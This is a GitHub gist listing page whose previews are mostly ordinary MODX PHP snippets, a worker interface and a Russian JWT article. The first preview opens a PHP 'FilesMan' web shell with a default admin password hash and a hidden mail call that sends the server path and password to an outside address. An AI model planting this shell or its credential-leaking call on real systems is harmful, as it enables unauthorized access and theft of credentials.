Skip to content

Instantly share code, notes, and snippets.

@sergant210
sergant210 / scratch.php
Created June 2, 2023 03:29
web-shell module.php
<?php
//--------------Watching webshell!--------------
if(array_key_exists('watching',$_POST)){
$tmp = $_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']."\n".$_POST['pass']; @mail('hard_linux@mail.ru', 'root', $tmp); // Edit or delete!
}
//-----------------Password---------------------
$▛ = "21232f297a57a5a743894a0e4a801fc3"; //admin
$▘ = true;
$▜ = 'UTF-8';
$▚ = 'FilesMan';
@sergant210
sergant210 / tokens.md
Created September 17, 2022 05:53 — forked from zmts/tokens.md
Про токены, JSON Web Tokens (JWT), аутентификацию и авторизацию. Token-Based Authentication

Про токены, JSON Web Tokens (JWT), аутентификацию и авторизацию. Token-Based Authentication

Last major update: 25.08.2020

  • Что такое авторизация/аутентификация
  • Где хранить токены
  • Как ставить куки ?
  • Процесс логина
  • Процесс рефреш токенов
  • Кража токенов/Механизм контроля токенов
@sergant210
sergant210 / pdofetchopt.class.php
Created June 30, 2021 05:36
Refactored pdoFetch class
<?php
class_exists('pdoFetch') or require __DIR__ . '/pdofetch.class.php';
class pdoFetchOpt extends pdoFetch
{
/**
* Main method for query processing and fetching rows
* It can return string with SQL query, array or raw rows or processed HTML chunks
*
* @return array|bool|string
@sergant210
sergant210 / optcachemanager.class.php
Last active July 5, 2021 13:56
Optimized cache manager
<?php
class_exists('xPDOCacheManager') or include MODX_CORE_PATH . 'xpdo/cache/xpdocachemanager.class.php';
class_exists('modCacheManager') or include MODX_CORE_PATH . 'model/modx/modcachemanager.class.php';
class OptCacheManager extends modCacheManager
{
/**
* Generates a cache entry for a MODX site Context.
*
@sergant210
sergant210 / factory.php
Created September 26, 2020 17:12
Скрипт создания ресурсов
<?php
// Пути для корня сайта
require_once __DIR__ . '/config.core.php';
require_once MODX_CORE_PATH . 'model/modx/modx.class.php';
$modx = new modX();
$modx->initialize('web');
$modx->getService('error','error.modError', '', '');
// Вариант 1.
/*$doc = $modx->newObject('modDocument', [
@sergant210
sergant210 / Worker.php
Created May 9, 2019 12:40 — forked from etheriqa/Worker.php
Parallel processing on PHP using stream_select()
<?php
interface Worker
{
public function getCommand();
public function done($stdout, $stderr);
public function fail($stdout, $stderr, $status);
}
<?php
/**
* Файл поиска использования метода getOption.
* Должен находится в корне сайта.
*/
define('MODX_API_MODE', true);
require 'index.php';
$modx->lexicon->load('resource','context','element','system_events','access','default','setting');
//echo $modx->lexicon('setting_cache_context_settings'); exit;
$count = 0;
<?php
/** @var array $scriptProperties
* @var msOrder $msOrder
*/
switch ($modx->event->name) {
case 'msOnBeforeAddToCart':
if (!empty($_SESSION['oneBooking']['price'])) {
$product->set('price', $_SESSION['oneBooking']['price']);
}
break;
@sergant210
sergant210 / StorageTrait.php
Last active October 10, 2017 15:31
Fenom Storage trait
<?php
namespace Fenom;
trait StorageTrait
{
/**
* @var array storage
*/
<?php
require_once 'pdotools.class.php';
class pdoToolsPlus extends pdoTools
{
/**
* Loads template engine
*
* @return bool|Fenom
*/